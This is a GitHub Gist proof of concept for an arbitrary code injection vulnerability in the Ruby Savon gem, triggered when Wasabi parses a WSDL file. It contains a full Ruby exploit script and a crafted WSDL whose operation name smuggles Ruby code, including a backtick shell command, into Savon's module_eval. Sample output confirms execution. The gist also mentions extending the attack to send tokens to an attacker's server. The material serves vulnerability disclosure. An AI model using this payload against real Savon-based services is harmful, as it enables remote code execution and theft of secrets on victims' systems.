Skip to content

Instantly share code, notes, and snippets.

@connorshea
Created May 30, 2026 02:20
Show Gist options
  • Select an option

  • Save connorshea/6cdc951abe0e1ffd2d1cc0fa7cd6b74d to your computer and use it in GitHub Desktop.

Select an option

Save connorshea/6cdc951abe0e1ffd2d1cc0fa7cd6b74d to your computer and use it in GitHub Desktop.
savon vuln proof of concept

This is an arbitrary code injection vulnerability when parsing WSDL files in Savon.

Assuming you have Ruby 3.4.9, and have run gem install savon wasabi, all that's needed is to save the other two files in this Gist and then run ruby poc_full_chain.rb to execute the arbitrary code from the proof of concept:

% ruby poc_full_chain.rb
========================================================================
Step 1 — attacker delivers the poc_full_chain.wsdl (operation @name carries the payload)
========================================================================

Step 2 — Wasabi 5.1.0 parses it into soap_actions:
  [:"foo\nend\n`id > pwned_savon 2>&1`\ndef x"]
  (newlines and backticks preserved -> this Symbol is executable Ruby)
========================================================================

Step 3 — Victim.all_operations (real Savon::Model sink):

========================================================================
[+] CODE EXECUTION CONFIRMED via the full WSDL -> Wasabi -> Savon chain.
    Injected `id > pwned_savon 2>&1` ran inside this Ruby process. Output:
      uid=501(connorshea) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
========================================================================

Note that this proof-of-concept ONLY runs the id command, which is harmless. But because it allows arbitrary Ruby code - and also via Ruby's backtick syntax or system method - arbitrary command execution, you could do a lot more, e.g. curling a sensitive token to an attacker's server.

# PoC: full delivery chain — a malicious WSDL document drives the
# Savon::Model code-injection sink end to end.
#
# WSDL <wsdl:operation name="..."/>
# -> Nokogiri parses the attribute (resolves &#10; to a real newline)
# -> Wasabi::Parser#parse_operations: snakecase(name).to_sym
# -> Wasabi::Document#soap_actions returns that symbol (= operations.keys)
# -> Savon::Client#operations returns it
# -> Savon::Model#all_operations splats it into #operations
# -> module_eval runs the injected Ruby <-- arbitrary code exec
#
# poc_minimal.rb / poc_backtick_rce.rb isolate the *sink* by handing the
# malicious Symbol straight to Savon::Model. This script proves the *delivery*:
# the symbol is produced by feeding attacker-controlled WSDL text through the
# real Wasabi 5.1.0 parser (the version Savon depends on), and is then run
# through the real Savon::Model#all_operations path. Only the network fetch of
# the WSDL is stubbed — that is not part of the vulnerability.
#
# Tested against savon 2.17.1 + wasabi 5.1.0.
# --- Savon (the vulnerable library under test) ----------------------------
require "savon"
# --- Wasabi (the delivery parser) -----------------------------------------
# This is Wasabi's own code parsing the WSDL, not a reimplementation. Savon
# depends on "wasabi", ">= 5.1.0", "< 6", so the installed gem is the same
# parser the real chain uses. (require "savon" already loaded it.)
require "nokogiri"
require "wasabi/parser"
# The malicious WSDL is a standalone document an attacker would deliver, read
# relative to this script so the PoC works from any working directory. Its
# <wsdl:operation> @name carries the payload — see poc_full_chain.wsdl for a
# character-by-character breakdown of the XML escaping it relies on (notably
# `&amp;` so that `2>&1` survives Nokogiri instead of arriving as `2>1`).
WSDL_PATH = File.join(__dir__, "poc_full_chain.wsdl")
malicious_wsdl = File.read(WSDL_PATH)
# Evidence file written by the injected shell command, proving execution. The
# WSDL's payload runs `id > pwned_savon 2>&1`, so the marker is this relative
# file. Its name is lowercase and dot/dash-free because StringUtils.snakecase
# (which downcases and rewrites '.'/'-' -> '_') is applied to the whole
# command; it must stay in sync with the command baked into the WSDL.
EVIDENCE_NAME = "pwned_savon"
EVIDENCE = File.join(Dir.pwd, EVIDENCE_NAME)
File.delete(EVIDENCE) if File.exist?(EVIDENCE)
# Code to print the WSDL file:
puts "=" * 72
puts "Step 1 — attacker delivers the poc_full_chain.wsdl (operation @name carries the payload)"
puts "=" * 72
# Step 2: the real Wasabi parser turns the WSDL into soap_actions. This is
# exactly what Wasabi::Document#soap_actions returns (parser.operations.keys),
# which is what Savon::Client#operations hands to Savon::Model#all_operations.
parser = Wasabi::Parser.new(Nokogiri::XML(malicious_wsdl))
parser.parse
soap_actions = parser.operations.keys
puts
puts "Step 2 — Wasabi #{Wasabi::VERSION} parses it into soap_actions:"
puts " #{soap_actions.inspect}"
puts " (newlines and backticks preserved -> this Symbol is executable Ruby)"
puts "=" * 72
# Step 3: drive the real Savon::Model#all_operations. all_operations is just
# `operations(*client.operations)`; client.operations is `wsdl.soap_actions`.
# We stub only that network-backed accessor to return the symbols Wasabi just
# produced — every line that actually executes the payload is Savon's own.
class Victim
extend Savon::Model
end
stub_client = Object.new
stub_client.define_singleton_method(:operations) { soap_actions }
Victim.define_singleton_method(:client) { |*_| stub_client }
puts
puts "Step 3 — Victim.all_operations (real Savon::Model sink):"
Victim.all_operations
puts
puts "=" * 72
if File.exist?(EVIDENCE)
puts "[+] CODE EXECUTION CONFIRMED via the full WSDL -> Wasabi -> Savon chain."
puts " Injected `id > #{EVIDENCE_NAME} 2>&1` ran inside this Ruby process. Output:"
puts File.read(EVIDENCE).lines.map { |l| " #{l}" }.join
File.delete(EVIDENCE) # clean up so the PoC leaves no trace
else
puts "[-] No evidence file written; payload did not execute."
end
puts "=" * 72
<?xml version="1.0"?>
<!--
Malicious WSDL for poc_full_chain.rb — the attacker-delivered document.
The whole exploit lives in the <wsdl:operation> @name attribute below. When
Wasabi parses this, snakecase(name).to_sym yields a Symbol that Savon::Model
interpolates into a module_eval string, executing the embedded Ruby.
Payload, character by character (XML entities matter here):
* &#10; -> newline. The first two close the `def <name>...`
template Savon wraps around the name; the trailing
`def x` reopens a method so the template's final
`end` still matches and module_eval doesn't raise.
* `id ... ` -> backticks run a shell command in the victim process.
* &gt; -> '>'. A raw '>' is legal in an attribute but escaped
here for clarity.
* &amp; -> '&'. This one is REQUIRED: a raw '&' starts an XML
entity reference and Nokogiri silently drops it, so
`2>&1` would arrive as `2>1` and redirect nothing.
Escaped as &amp; it survives as `2>&1`.
The command writes to the relative file `pwned_savon`; poc_full_chain.rb
reads that file back as proof of execution. Keep the name in sync with
EVIDENCE_NAME in the script. It is lowercase and dot/dash-free so that
snakecase (which downcases and rewrites '.'/'-' -> '_') leaves it intact.
-->
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
name="EvilService" targetNamespace="urn:evil">
<wsdl:binding name="EvilBinding" type="wsdl:EvilPort">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="foo&#10;end&#10;`id &gt; pwned_savon 2&gt;&amp;1`&#10;def x">
<soap:operation soapAction="urn:evil#foo"/>
</wsdl:operation>
</wsdl:binding>
</wsdl:definitions>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment